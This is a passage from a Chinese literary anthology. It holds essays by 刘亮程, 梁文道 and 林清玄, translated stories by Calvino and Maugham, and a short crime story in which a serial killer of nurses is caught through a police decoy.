　　那时候，生活其实是相当细致的，什么都是从长计议。在夏末秋初，豇豆老了，即将落市，价格也跟着下来了。于是，勤劳的主妇便购来一篮篮的豇豆，捡好，洗净。然后，用针穿一条长线，将豇豆一条一条穿起来，晾起来，晒干。冬天就好烧肉吃了。用过的线呢，清水里淘一淘，理顺，收好，来年晒豇豆时好再用。缝被子的线，也是横的竖的量准再剪断，缝到头正好。拆洗被子时，一针一针抽出来，理顺，洗净，晒干，再缝上。农人插秧拉秧行的线，就更要收好了，是一年之计，可传几代人的。电影院大多没有空调，可是供有纸扇，放在检票口的木箱里。进去时，拾一把，出来时，再扔回去，下一场的人好再用。这种生活养育着人生的希望，今年过了有明年，明年过了还有后年，一点不是得过且过。不像今天，四处是一次性的用具，用过了事，今天过了，明天就不过了。这样的短期行为，挥霍资源不说，还挥霍生活的兴致，多少带着些“混”。

　　梅雨季节时，满目的花尼龙伞，却大多是残败的。或是伞骨折了，或是伞面脱落下来，翻了一半边上去，雨水从不吃水的化纤布面上倾泻而下，伞又多半很小，柄也短，人缩在里面躲雨。过去，伞没有现在那么鲜艳好看，也没那么多的花样：两折、三折，又有自动的机关，“哗啦”一声张开来。那时的伞，多是黑的布伞，或者蜡黄的油布伞，大而且坚固，雨打下来，那声音也是结实的，啪、啪、啪。有一种油纸伞，比较有色彩，却也比较脆弱，不小心就会戳一个洞。但是油纸伞的木伞骨子排得很细密，并且那时候的人，用东西都很爱惜。不像现在的人，东西不当东西。那时候，人们用过了伞，都要撑开了阴干，再收起来。木伞骨子和伞柄渐渐地，就像上了油，越用久越结实。铁伞骨子，也绝不会生锈。伞面倘若破了，就会找修伞的工匠来补。他们都有一双巧手，补得服服帖帖，平平整整。撑出去，又是一把遮风避雨的好伞。那时候，工匠也多，还有补碗的呢！有碎了的碗，只要不是碎成渣，他就有本事对上茬口，再打上一排钉，一点不漏的。今天的人听起来就要以为是神话了。小孩子玩的皮球破了，也能找皮匠补的。藤椅，藤榻，甚至淘箩坏了，是找篾匠补。有多少好手艺人啊！现在全都没了。结果是，废品堆积成山。现在的生活其实是要粗糙得多，大量的物质被匆忙地吞吐着。而那时候的生活，是细嚼慢咽。

　　那时候，吃是有限制的。家境好的人家，大排骨也是每顿一人一块。一条鱼，要吃一家子。那时，吃一只鸡是大事情，简直带有隆重的气氛。现在鸡是多了，从传送带上啄食人工饲料，没练过腿脚，肉是松散的，味同嚼蜡。那时候，一块豆腐，都是用卤水点的。绿豆芽吃起来很费工，一根一根摘去根须。现在的绿豆芽却没有根须，而且肥胖，吃起来口感也不错，就是不像绿豆芽。现在的东西多是多了，好像都会繁殖，东西生东西，无限地多下去。可是，其实，好东西还是那么些，要想多，只能稀释了。

　　这晚，去一家常去的饭店吃晚饭，因有事，只要了两碗冷面。其时，生意正旺。老板和伙计上上下下地跑，送上活蛇活鱼给客人检验，复又回去，过一时，就端上了滚热的鱼虾蛇鳖。就是不给你上冷面，死活催也不上，生生打发走人。现在的生意也是如此，做的是一锤子买卖。不像更远的过去，客人来一回，就面熟了，下一回，已经与你拉起了家常。店家靠的是回头客，这才是天长日久的生意之道。不像现在，今天做过了，明天就关门，后天，连个影子都不见了。生活，变得没什么指望。

我改变的事物

刘亮程

　　我年轻力盛的那些年，常常扛一把铁锨，像个无事的人，在村外的野地上闲转。我不喜欢在路上溜达，那个时候每条路都有一个明确去处，而我是个毫无目的的人，不希望路把我带到我不情愿的地方。我喜欢一个人在荒野上转悠，看哪不顺眼了，就挖两锨。那片荒野不是谁的，许多草还没有名字，胡乱地长着。我也胡乱地生活着，找不到值得一干的大事。在我年轻力盛的时候，那些很重很累人的活都躲得远远的，不跟我交手，等我老了没力气时又一件接一件来到生活中，欺负一个老掉的人。这也许就是命运。

　　有时，我会花一晌午工夫，把一个跟我毫无关系的土包铲平，或在一片平地上无辜地挖一个大坑。我只是不想让一把好锨在我肩上白白生锈。一个在岁月中虚度的人，再搭上一把锨、一幢好房子，甚至几头壮牲口，让它们陪你虚晃荡一世，那才叫不道德呢。当然，在我使唤坏好几把铁锨后，也会想到村里老掉的一些人，没见他们干出啥大事便把自己使唤成这副样子，腰也弯了，骨头也散架了。几年后当我再经过这片荒地，就会发现我劳动过的地上有了些变化，以往长在土包上的杂草现在下来了，和平地上的草挤在一起，再显不出谁高谁低。而我挖的那个大坑里，深陷着一窝子墨绿。这时我内心的激动别人是无法体会的——我改变了一小片野草的布局和长势。就因为那么几锨，这片荒野的一个部位发生变化了，每个夏天都落到土包上的雨，从此再找不到这个土包。每个冬天也会有一些雪花迟落地一会儿——我挖的这个坑增大了天空和大地间的距离。对于跑过这片荒野的一头驴来说，这点变化算不了什么，它在荒野上随便撒泡尿也会冲出一个不小的坑来。而对于世代生存在这里的一只小虫，这点变化可谓地覆天翻，有些小虫一辈子都走不了几米，在它的领地随便挖走一锨土，它都会永远迷失。

　　有时我也会钻进谁家的玉米地，蹲上半天再出来。到了秋天就会有一两株玉米，鹤立鸡群般耸在一片平庸的玉米地中。这是我的业绩，我为这户人家增收了几斤玉米。哪天我去这家借东西，碰巧赶上午饭，我会毫不客气地接过女主人端来的一碗粥和一块玉米饼子。

　　我是个闲不住的人，却永远不会为某一件事去忙碌。村里人说我是个“闲锤子”，他们靠一年年的丰收改建了家园，添置了农具和衣服。我还是老样子，他们不知道我改变了什么。

　　一次我经过沙沟梁，见一棵斜长的胡杨树，有碗口那么粗吧，我想它已经歪着身子活了五六年了。我找了根草绳，拴在邻近的一棵树上，费了很大劲把这棵树拉直。干完这件事我就走了。两年后我回来的时候，一眼就看见那棵歪斜的胡杨已经长直了，既挺拔又壮实。拉直它的那棵树却变歪了。我改变了两棵树的长势，而现在，谁也改变不了它们了。

　　我把一棵树上的麻雀赶到另一棵树上，把一条渠里的水引进另一条渠。我相信我的每个行为都不同寻常地充满意义。我是一个平常的人，住在这样一个小村庄里，注定要闲逛一辈子。我得给自己找点闲事，找个理由活下去。

　　我在一头牛屁股上拍了一锨，牛猛窜几步，落在最后的这头牛一下子到了牛群最前面，碰巧有个买牛的人，这头牛便被选中了。对牛来说，这一锨就是命运。我赶开一头正在交配的黑公羊，让一头急得乱跳的白公羊爬上去，这对我只是个小动作，举手之劳。羊的未来却截然不同了，本该下黑羊羔的这只母羊，因此只能下只白羊羔了。黑公羊肯定会恨我的，我不在乎。羊迟早是人的腹中物，恨我的那只羊的肉和感激我的那只羊的肉，嚼到嘴里会一样香。在羊的骨髓里你吃不出那种叫爱和恨的东西，只有营养和油脂。

　　当我五十岁的时候，我会很自豪地目睹因为我而成了现在这个样子的大小事物，在长达一生的时间里，我有意无意地改变了它们，让本来黑的变成白，本来向东的去了西边……而这一切，只有我一个人清楚。

　　我扔在路旁的那根木头，没有谁知道它挡住了什么。它不规则地横在那里，是一种障碍，一段时光中的堤坝，又像是一截指针，一种命运的暗示。每天都会有一些村民坐在木头上，闲扯一个下午。也有几头牲口拴在木头上，一个晚上去不了别处。因为这根木头，人们坐到了一起，扯着闲话商量着明天、明年的事。因此，第二天就有人扛一架农具上南梁坡了，有人骑一匹快马上胡家海子了……而在这个下午之前，人们都没想好该去干什么。没这根木头生活可能会是另一个样子。坐在一间房子里的板凳上和坐在路边的一根木头上商量出的事肯定是完全不同的两种结果。

　　多少年后当眼前的一切成为结局，时间改变了我，改变了村里的一切。整个老掉的一代人，坐在黄昏里感叹岁月流逝、沧桑巨变。没人知道有些东西是被我改变的。在时间经过这个小村庄的时候，我帮了时间的忙，让该变的一切都有了变迁。我老的时候，我会说：我是在时光中老的。

一对夫妇的故事

伊塔洛 · 卡尔维诺

　　阿尔图罗。马索拉里是上夜班的工人，早晨六点下工。回家要走很长的路，天气好的时候，他也骑自行车，雨天和冬季改乘电车。六点三刻和七点之间回到家里，正好赶上妻子艾莉黛的闹钟刚刚响过，或差一点就要响的时候。经常是两种声响：闹钟的铃声和他迈入家门的脚步声同时闯入艾利黛的脑海里，把她从睡梦中唤醒。清晨的觉是最香的时候，她总要把脸埋在枕头里，在床上再赖上几秒钟。然后，她倏地坐起身来，匆匆忙忙把胳臂伸进晨衣，头发耷拉到眼睛上。她就这副模样出现在厨房里，阿尔图罗正在那里，从随身携带的提包里取出空空如也的饭盒和暖水瓶，把它们放在水池里。在这之前，他已经点好了炉子，煮上了咖啡。艾莉黛一看见他瞅着自己，就赶忙用手拢拢头发，使劲睁大眼睛，似乎因为丈夫回到家中，第一眼就看到她衣冠不整、睡容满面而感到不好意思。如果两人同床共枕，那是另一码事，清晨从同一睡梦中醒来，双方的尊容彼此彼此。有时，还差一分钟闹钟就该响了，是阿尔图罗端着咖啡走进房间，将她唤醒。那么，一切显得更自然些，刚醒来时的娇媚还具有一种懒散的柔情。她举起赤裸裸的双臂，伸伸懒腰，然后一把搂住他的脖子。他们抱在一起了。阿尔图罗还穿着风雨衣；她搂着他，根据他外衣的湿度和凉意就满可以知道外面是什么天气：下雨、有雾、抑或降雪；不过，她仍然要问：“天气怎么样？”而他呐，也总是半带讥讽地嘟囔一番，把一天的不快从后到前倒着数落一遍：骑自行车的归途，出厂时的天气，头天晚上进厂时截然不同的气候，干活时遇到的麻烦，车间的传闻等等，等等。这个时辰，屋里总是不太暖和，但是，艾莉黛还是脱了衣服，有点哆哆嗦嗦地在浴室里洗澡。阿尔图罗随后跟了进来，他慢腾腾地脱了衣服，也慢条斯理地洗起来，从身上冲掉车间的尘土和油污。他们两人就这样站在洗脸池周围，半裸着身子，瑟瑟发抖，有时你碰碰我，我碰碰你，从对方手里拿过牙膏、肥皂，嘴里还继续讲着话，这是推心置腹的时刻。有时他们互相帮着擦背，一下爱抚，两人又拥抱在一起，然而，艾莉黛忽然喊道：“上帝！什么时候啦！”她连忙跑去戴上吊袜带，穿上裙子，一切都是匆匆忙忙。她站着穿好衣服，把脸凑近梳妆台的镜子，嘴上噙着发夹，用刷子梳通头发。阿尔图罗走过来，站在她的背后，他已经点燃了香烟，吸着烟瞅着艾莉黛。他待在那儿也帮不上忙，显得局促不安。艾莉黛收拾妥当，在走廊里穿上大衣，吻了一下阿尔图罗，打开门，匆匆往楼下跑去。家里就剩下阿尔图罗一个人了。他听见艾莉黛的鞋后跟踏着台阶的声音，当这种声音消失后，他的思想又随着她疾步走在庭院里，来到大门口，行进在人行道上，然后，一直随她走到电车站。连电车叮叮的响声他似乎也听得见。车停下来，每个乘客上车时脚登踏板的声音他也听得见。他想：“好了，这会儿她乘上车了。”

　　他仿佛瞧见妻子挤在十一路电车上男男女女劳动者中间，十一路电车像以往每天一样，把他的妻子带到工厂里。阿尔图罗灭掉烟蒂，关上窗户，屋子里顿时暗了下来，他上了床。艾莉黛起来后没整理床，阿尔图罗睡觉的那边几乎没动，跟刚铺好的一样。他老老实实地躺在自己那边，但是，过了一会儿，他把一条腿伸到艾莉黛睡的那边，那里还有妻子的余温，接着，他又把另一条腿也伸了过去，就这样他一点一点把身子都移到艾莉黛睡的那边去了。那里有着妻子的体温，并且还保留着她的身体的形状。他把头枕在妻子的枕头上，脸紧紧贴住枕头，嗅着妻子的体香睡着了。艾莉黛晚上回家时，阿尔图罗已经在房间里转了半天了：他点上了炉子，把东西放在炉子上烧，在晚饭前几个小时里，他也做些事情，譬如铺床、扫地、把该洗的衣服浸在水里。然而，艾莉黛总觉得他干得很糟糕。说实在的，他根本没心思去做这些事情，他所做的一切只不过是一种形式，只是为了等她。他待在家里，手上在做这些事，可精神上早就去迎候她了。外面华灯初上，艾莉黛挤在熙来攘往的妇女群中，从这个商店跑到那个商店忙着采购物品。阿尔图罗终于听到楼梯上的脚步声，沉重的脚步声，跟早晨的那种声音全然不同。艾莉黛干了一天的活，又拎着买回来的东西，她累了。阿尔图罗走出房门，来到楼道，从妻子手里接过购物包。两人边说话边走进家门。艾莉黛连大衣也没脱，一屁股就坐在了厨房的椅子上，与此同时，阿尔图罗把东西一件件从包裹里取出来。

　　“赶紧干吧！”说着，艾莉黛站起身，脱下大衣，换上家常便服。夫妻俩开始做饭；两人的一顿晚餐，他带到工厂为夜间一点钟准备的宵夜，她明天带到工厂里去的午餐，还有他明天下班醒来吃的东西。她忙着干活，有时在绳椅上坐下来，支使他干活。他呐，已经休息过来了，忙得团团转，总想一个人把活儿都包下来，可又总是有点不知所以，心不在焉。在这个节骨眼上，他们两人几乎闹起冲突，说出一些不中听的话儿来，因为她想叫他更用点心思干活，更专心致志一些，或者希望他对自己更亲热些，离她更近些，给予她更多的安慰。而他呐，在她刚回来时表现出那股热乎劲以后，脑子已经不在家了，一味地惦着快点干，好走人。桌子摆好了，吃的东西也已经放在伸手可及的地方，免得吃半截还要站起来去拿。这时节，两人都有点怅然若失，感到在一起的时间太少了，谁也提不起勺子，把它放在嘴里去，只是想手拉手呆一会儿。咖啡还没喝完，阿尔图罗已经跑去检查自行车是否一切正常。他们拥抱在一起，互相依偎着，只有这时，阿尔图罗才感到妻子的身体是那么娇柔、温暖。然后，他扛起自行车，小心翼翼地走下楼去。艾莉黛洗刷盘子，把家从头到尾巡视了一遍，看着丈夫干的活儿，禁不住直摇头。他眼下正穿行在路灯稀少的黑暗的街道上，或许这时他已经过了加油站。艾莉黛上床，熄了灯。她躺在自己睡的一边，又慢慢把脚挪到阿尔图罗那边，寻找丈夫的温暖，可是每次她都发现自己这边更暖和，于是她明白了，阿尔图罗是在她这边睡的觉，顿时，一股暖流和柔情涌上心头。

午餐

毛姆

　　我是在剧场看戏时见到她的。她向我招了招手，我趁幕间休息的时候走了过去，在她旁边坐下。我最后一次见到她还是很久以前的事了，如果不是有人提过她的名字，我想我这次就认不出来她了。她满面春风地和我拉扯起来：“哦，好多年没见了，时间过得真快！我们也都老了。你还记得咱们第一次见面的情况吗？你邀请我去吃了一次中饭。”

　　我怎么能不记得。

　　那是二十年之前的事了，当时我住在巴黎。我在拉丁区有一间小小的公寓，从窗里可以俯瞰教堂的墓地。我的收入刚好够维持住我的灵魂和躯壳不分家。她读了一本我写的书，给我写了封信谈论这本书。我回信表示感谢。过了没多久我就又收到她一封信，说她要路经巴黎，想同我谈谈；不过她的时间有限，只能在下星期四抽出点空来，早上她要去卢森堡公园，问我是否愿意中午请她在福约特餐厅随便吃点什么。福约特是法国议员们经常光顾的一座餐厅。它远远超出我的经济能力，所以我从来不敢问津。但是她信中的恭维话说得我心头发痒，而且那时我太年轻，还没能学会对一位女士说“不”。我还有八十个法郎可以维持月底之前的开销。一顿便餐不会超过十五个法郎。如果我后半月不喝咖啡的话，我没准可以对付过去。

　　我回信和我这位朋友约好星期四中午十二点半在福约特餐厅见面。她没有我想象的那样年轻。她的外表与其说风姿动人毋宁说富态魁梧。实际上她已经有四十岁了，她给我的印象是她的牙齿比实际需要多了一些，整齐、洁白、比较大。她很善谈，但因为她好象倾向于谈论关于我的事，所以我准备好做一名专心致志的听众。

　　菜单拿上来的时候我吓了一跳，价钱比我预料的要贵得多。但她说的话叫我放了心。

　　“我中午从来不吃什么，”她说。

　　“哦，可不要这么说！”我慷慨大方地回答。

　　“我只吃一道菜。我觉得现在人们吃得太多了。也许我可以来点鱼，我不知道有没有鲑鱼。”

　　吃鲑鱼的季节还略嫌早了一点，菜单上也没有写着这道菜。但是我还是问了一下侍者。有，刚刚进了一条头等鲑鱼，这是他们今年第一次进这种货。我为我的客人叫了一份。侍者问她在等着烹制鲑鱼的时候是否吃点别的。

　　“不，”她回答，“我中饭只吃一道菜。除非你们有鱼子酱。吃点鱼子酱我倒不反对。”我的心微微一沉，我知道我吃不起鱼子酱，但我无法对她讲明这点，结果我还是吩咐侍者拿了份鱼子酱。我为自己挑了一份菜单上价格最便宜的菜——一份肉排。

　　“我认为你吃肉可并不明智，”她说，“我不知道你在吃完象肉排这类油腻的东西以后还怎么能工作。我可不能叫我的胃负担过重。”

　　这以后出现了饮料问题。

　　“我中饭从来不喝什么酒，”她说。

　　“我也如此，”我迫不及待地补了一句。

　　“除了白葡萄酒，”她继续说道，仿佛没听到我刚才的话。“法国白葡萄酒一点儿也不厉害，对消化很有帮助。”

　　“你想喝点什么？”我依然殷勤地问道，但已不那么曲意逢迎了。

　　她的一口洁白的牙齿一闪，对我殷勤地笑了笑。

　　“除了香摈我的医生绝对禁止我喝其它的酒。”

　　我想我的脸当时一定变得有些苍白。我叫了半瓶。我用随便的语气提到我的医生不允许我喝香摈。

　　“那么你喝什么？”

　　“水。”

　　她吃掉鱼子酱。她吃掉鲑鱼。她谈笑风生地谈论艺术、文学和音乐。可我却一直琢磨账单加起来会要我多少钱。当我那份羊排端上来时，她非常严肃地教训我。

　　“我看得出来你习惯中饭吃得很多。我认为这肯定不好。为什么你不学学我只吃一道菜？我肯定这对你会大有好处的。”

　　“我是只吃一道菜。”我说道，这时侍者又带着菜单来了。

　　她手一挥把他打发到一边去。

　　“我可不这样，我中饭从来不吃什么，吃也只吃一点，吃这点也是为了聊天方便。我可再也吃不下什么了——除非那种大龙须菜。如果不尝尝的话，这次到巴黎来可是件憾事。”

　　我的心沉了下去。我在橱窗里见到过龙须菜，我知道这东西贵得要命。我的嘴巴也常常因为看到它们而馋涎欲滴。

　　“夫人想知道你们有没有龙须莱，”我问侍者。

　　我捏着把汗真希望他说没有，一个快乐的笑容掠过了侍者的神甫似的大脑。他对我说他们有一些那么大，那么好，那么嫩的龙须莱，简直绝无仅有。

　　我叫了一份。

　　“你不要吗？”

　　“不要，我从来不吃龙须菜。”

　　“我知道有人不喜欢龙须莱。事实是你吃的那些肉把你的胃口破坏了。”

　　我们等着龙须菜上来。我吓得心惊胆战。现在已经不是我可以剩下几个钱过日子的问题了，而是我是否有足够的钱拿出来付账。如果发现自己缺十个法郎不得不向客人张口的话，那就太叫人丢脸了。说什么我也不能丢这个丑。我清楚地知道我有多少钱，如果不够付账的话我下决心把手往兜里一伸，然后戏剧性地大喊一声，跳起来说我被扒手扒了。当然了，那将是一个极其尴尬的场面，如果她也没有足够的钱付账的话。要是那样，唯一可行的办法就是留下我的表作抵押，过后再来赎了。

　　龙须菜上来了，又大又粗，一咬一汪水，真吊人胃口。它那嗞嗞作响的奶油香味一阵阵地往我鼻孔里钻，就象耶和华嗅到虔诚的希伯莱人奉献上烤得香喷喷的供品时一个滋味。我一边望着这位纵情大嚼的女人一大口一大口地往嗓子眼里塞，一边客客气气地谈论着巴尔干半岛的戏剧界现状。她终于吃完了。

　　“咖啡？”我问道。

　　“好吧，一客冰激凌加咖啡，”她回答。

　　我现在已经把一切置之度外了，我给自己也叫了咖啡，给她要了冰激凌加咖啡。

　　“你知道，我是相信这个真理的，”她边吃冰激凌加咖啡边说，“一个人吃饭时—定要只吃八成饱。”

　　“你还饿吗？”我有气无力地问道。

　　“哦，不饿了；你看，我中午不吃饭。早上我喝一杯咖啡，之后就吃晚饭了。中饭我至多只吃一道菜。我这也是在劝你。”

　　“说得是，我一定听从你的劝告。”

　　之后一件可怕的事发生了。当我们等着咖啡的时候，领班侍者摆着一副讨好的笑容向我们走来，胳膊上挎着一满篮子大桃，红得好象纯洁的姑娘的脸蛋，色调有如意大利绚丽的风景画。桃子肯定还没有到上市的季节。只有上帝知道多少钱一个。我也知道了——那是在过了一会儿以后，因为我的客人一边继续谈话，一边心不在焉地随手拿了一个。

　　“你看，你用肉塞满了肠胃，”——她指的是我那一块可怜的肉排——“你什么也吃不下去了。而我只随便象吃点心一样地吃了点，我还可以享受个桃子。”

　　账单来了，付完帐后我发现剩下的钱不够一次象样的小费。她的目光在我留给侍者的三个法郎上停留了片刻，我知道她一定想我很吝啬。但是我在走出饭馆后，带着一张嘴和一个肚子，但口袋里却一文不名。

　　“学我的样子，”在我们握手道别时她说道，“中饭千万只吃一道菜。”

　　“我会比这做得还好，”我大声回答，“今天晚饭我就什么也不吃了。”

　　“幽默家！”她快乐地喊着，跳上了一辆马车，“你真是一个十足的幽默家！”

　　但我终于复了仇。我不认为我是个睚眦必报的人，可是当不朽的大神插手这件事时，你暗自得意地看到这个结果也还是可以原谅的。

　　今天她体重三百磅。

稻田的故事

梁文道

　　我们很容易就会忘记自己其实是吃米的人，尤其在香港，一般市民几乎是没见过稻田的，没见过禾苗如何长高、结实，更没见过收割打谷；只看到一袋袋的白米包装得干干净净，整齐地排在超级市场的货架上头。

　　但是却有许多习俗不断地提醒我们，米是我们华南地带不可割舍的文化支柱。例如香港每年一度的“派平安米”，传统的乡社与善堂还秉承着这种古老的信念，认为发白米给老人是行善积德的好事。而那些去忍受住日晒雨淋之苦，花了去大半天时间去排队的老人家，除了得点便宜之外，心里想的也就是随着那包白米而来的庇佑了。

　　最近绿色和平做了一个很有意思的展览，叫做“我的土地，我的稻米，我的生命”，把照相机分发给五位云南农民，请他们任意拍摄自己的工作、伙伴与生活。他们拍出来的照片十分有趣，因为我们通常看到的是游客与摄影师在这片美丽土地上制造出来的标准影像，却从未见过这些习惯在镜头前现身，特别是连相机都没拿过的农民眼中的稻田与小区。因此他们拍出来的，不是格式化的纯朴村落，也不是夕阳西下时的金黄稻田，而是切切实实的，自己身边的人和事。

　　看着这些来自农人眼睛的稻田，整段从土地到我们碗里白饭的链条一下子鲜明了起来。那些亲自抚摸过我们每日放进口中的米粒的手掌，也突然立体可感，厚实而暖。这时候，我们或许会开始去想象那块稻田上的人活得怎么样，他们过得可好？他们种的东西卖得出去吗？如今的米价是否太便宜，便宜得他们根本养不活自己？那些经过基因改造的种子要花多少钱去买回来？种了下去之后又要下多少的化肥？农民们可都负担得了？这一切侵入云南乡间原有生态的外来人工品种，会不会不只留给食用者未知的后遗症，也彻底改变了这片区域原有的生态呢？

　　一切外来者，皆须尊重农田的规律。即使是政治运动闹得最凶的年代也不例外。我曾听过一个“文革”时期要下乡接受再教育的知青说过他的经历，他去的地方以种稻米为主，而且全是梯田。在田里，每年开春插秧可是件大事，必须插得格外小心慎重，每一行笔直笔直，一棵苗与一棵苗之间则要有适当的距离，以保禾苗各有健康成长的空间，不至于因为贴得太近互夺养分而瘦弱枯萎。所以第一个下田插秧的人就得是最有技巧最富经验的好手，因为他要是这把“头秧”插歪了，后头跟着的也就整行斜到一边去了，不成规矩。

　　在农村能下头秧的人无不备受尊重，因为他们有一手不用工具全凭自己经验和本事的功夫，一年农地的新循环就从他们开始。问题是“文革”期间，这些平时地位甚高的人物全被打翻下来，有事没事就给捉出来批斗，到了春天下头秧的时候又该怎么办呢？我的朋友很惊讶地发现，大家届时居然就静静让到一边，还是请那位老先生出来，只见他不慌不忙，一弯腰就把一株秧苗直直送进泥里。待他成事，大伙们才放心地跟上。一行插完，他老人家便不再劳动，坐到一旁闲闲地点了口烟，一边乘凉一边看着其他人继续辛勤工作。哪管他运动闹得天翻地覆，农田有农田的秩序，能者称王。

第十三个轮到谁

格雷·拉威西

　　再凑一个便可。再凑一个，他就会被载入史册。再凑一个，他就是天下第一！再凑一个，他就会成为这些人中最最了不起的。

　　可是也不容易。每次杀人后警察便距他更近一步。套索已经上身，并且在收紧。他留下的气味儿越来越热乎，被人逮住的可能性也越来越大。他还有很多事儿要做，还有那么多事儿没有做完。

　　事情并不像所有那些报纸描述的那么简单。没有人会懂的。那些被杀掉的人必须来路正，不是什么人都可以。这是最难的一点，现在已经不可能做到啦。这个城市的医疗系统本来就没有那么多可以接近的护士，更何况现在又是人人自危。她们都十分谨慎小心，警察也在严密监视。许多最佳目标已不去上班，这便很难弄清楚她们住在何处。他知道许多护士日夜提防。他试过，根本没法儿接近她们。

　　他喜欢金发碧眼女郎，长头发的。他明白，若要打破纪录，他至少还要再干掉这些女孩中的一个。报纸上的大字粗体标题已经全说明白啦：

　　护士杀手仍逍遥法外！

　　12 周内 12 位护士被杀！

　　全城陷入恐怖！

　　第 13 个会轮到谁？

　　一星期干掉一个护士。不容易。漫长的 12 个星期啊！他早想放弃，金盆洗手。或许去自首？他真希望被逮住，但是他必须正视自己的纪录，报纸和电视新闻已经把它炒得很热，这是他不可忽视的挑战。想得够多啦。他还有活儿要干。今晚是第 13 周的最后一个夜晚。他必须在今夜动手。必须是今夜。他必须按照时间表行事。

　　他已找到另一个护士，是昨晚选中的。他跟踪她，观察她，弄清她在公园坡第一街的住处。那个地方距离她工作的医疗中心不远，步行一小段路后即可到达。巨大的卫理公会医院里有许多护士供他选择，但是那儿波多黎各人太多，还有许多黑人，来自所罗门群岛的人，很多印度和巴基斯坦人。全都不合适。后来他发现了这个漂亮的爱尔兰金发女郎。她正是他要找的人。

　　他早就注意到她。她的头发很长，金发碧眼。他以前从未在医院里看到过她。他猜想她是刚来的。的确如此。他就喜欢这样。他在扭曲的心灵里暗暗偷着乐。新鲜的血，他渴求新鲜的血。

　　他偷偷走近她。她是一头不会伤害别人的小母鹿。他是一头邪恶的大狼。他试试锋利的刀刃，同时摸一摸自己身上，感觉到正在勃起。他期望那一刻到来。现在会很快啦。

　　一个从未见过的女郎，这正是他企盼的。这一位将会是他以这种方式占有的最最漂亮的姑娘之一。他越来越激动，每一分钟都比上一分钟更激动。他期待着。

　　他麻利地跟着她，一路走过空空荡荡的黑暗街道。

　　她在回头看。她以为自己看到了什么人。他急忙闪到一根柱子后面，躲起来。没有看到什么，她便继续前行。他继续跟踪。

　　她来到 127 号。昨天他已经仔细研究过这座住宅楼，共有十层，她住在七楼，是 7A 号公寓。他小心地跟在她身后，霍地钻进楼里去。

　　她吓了一跳，几乎跳起来。

　　他笑容可掬，十分友好地说：“哦，你好。对不起，我记得我把钥匙放在这儿的什么地方啦……”

　　她转身，她盯着他看，猜他是什么人。她猜错啦。

　　她替他按着公寓大门，笑嘻嘻的。

　　她在笑！他就喜欢她这样！

　　“你是 8C 那个人吧？你是……？”

　　“是啊。约翰逊。我总是找不到钥匙。”

　　她替他拉住公寓大门，让他进来。他俩一起朝电梯走去，一起走进电梯。

　　她按 7。

　　他及时想起刚才自己说过的话，按了８。

　　她放松下来。

　　他产生那种怪兮兮的感觉。别说话。盯着她，但是别让她看出自己在盯着她。她转身笑笑。他也笑一笑。

　　电梯门在七楼打开。她走出去，穿过大厅，走向她的房门。他盯着她把钥匙插进门里，转动门把手。他看到门已打开一条缝。不等她开得更大，不等电梯门关闭，他已经扑到她身上。他把她推进房里，撂倒在地板上，关上门，再飞快地锁上。完全锁好啦，就像一间地下密室。这样她就再也跑不了啦。永远别想！

　　她趴在地上。她一动也不动。他走近她。黑幽幽的屋里，重重暗影凸显出他的一举一动非常神秘、可怖。

　　他预料到身体会有反应，便先触摸一下自己。看着她趴在那儿，十分无助，他又触摸自己，想像种种情景。

　　他拔出刀来。刀子挺长，锋利，钢刃在呼唤他赶快动手。

　　这时灯亮了。十来个不知从哪儿冒出来的男人围上来，打落他手里的利刃。他们紧紧扭住他，拿枪粗暴地指着他的脑袋，同时搜他身上，看他是否还带着其他武器。他一动也不能动。

　　那女孩从地上爬起来。她摘下金色长假发。她自己的头发是黑色的，很短。

　　她把假发送到他眼前道：“喂，你是为了这个吧？”

　　他朝她咆哮：“骗子！你是那么漂亮，结果却像其他所有那些女人一样，令人失望。”

　　她问道：“那些人都是你杀的？”

　　他不吭声。

　　姑娘举起那把刀，让他看。“你就是用这把刀折磨她们的。这样一件可怕的武器。你为什么要这样做呢？”

　　起初他不说话，然后又笑道：“我知道我有哪些权利。我要见律师。你们可以逮捕我，可我不必非要告诉你们什么。”

　　姑娘也笑道：“嗨，亲爱的。你凭什么断定我们是警察呢？”

我所认识的李敖

林清玄

　　今年八月十日下午三点，李敖带着简单的行李到台北地检处报到，接受为期六个月的徒刑，他仍然维持了自己的风骨，不要朋友去送他，孤单而又强悍地走进监牢里去。不了解李敖的人会认为李敖失败了，但是了解李敖的人知道，这些俗世的监牢对李敖无损，因为思想的光芒，是任何铁窗所不能隔断的。

　　我也没有去送李敖，虽然李敖是我最尊敬的朋友，也是我最尊敬的长辈。

　　第二天，与刘会云一起进晚餐的时候，我们谈起了李敖第二次坐监的一些事情，我们本来想安慰她，她显得十分开朗，反而安慰我们：“李敖去坐牢的时候还是笑着去的。”虽然李敖去坐牢的时候显得那么镇定坚强，丝毫不露出一点伤心的样子，却总让我心里觉得一股凉意。

　　我想，在这个世界上没有人真正了解李敖，我们这些自命为他朋友的人，也只能看到他的一部分，然而有三点是可以肯定的，一：李敖是个少见的才子，他的力学深思，博览今古，光耀的灵感不时闪射，真如万斛喷泉，不择地皆可自出，读书之广，思考之深，是在这个社会中难得一见的。二：他是个少见的真人，他常说的一句话是：“宁可做真小人，也不要做伪君子。”他爱恨分明，不肯怂恿乡愿和无知，文章如利剑，下笔不留情，但对于朋友和弱者却格外地宽厚。三：他是个少见的细致的人，他的细致不仅仅是表现于他做学问时的博大精深，巨细靡遗，也表现在他的生活之中，举凡他身边的每一个物件，都是经过精心的挑选，他对人的体贴几乎到无微不至的地步。

　　我常想，李敖真像一篇好文章，里面有智慧、有精心、有近景、有远景，还能没有废词废句。

　　李敖复出以后，在他的《传统下的独白》的扉页上写下几行字：

　　五十年来和五百年内，中国人写白话文的前三名：是李敖，李敖，李敖。嘴巴上骂我吹牛的人，心里都为我供了牌位。

　　这段话引起了很多批评，尤其是卖文章的人更大为不满，但这在李敖只是开了一个小小的玩笑，他的文章常喜欢夸张，喜欢嬉笑怒骂（生活上也是如此），可是就在这些夸张的笑骂里，他传达了他的观念，也布达了他深思后的讯息。读他的文章，就像服食一颗裹了粮衣的苦药，因为他的夸张和玩笑，使那些治病的良方显得不苦；又像在沙中有金，必须慢慢拨开沙子才能找到黄金，过程之中就是一种乐趣。

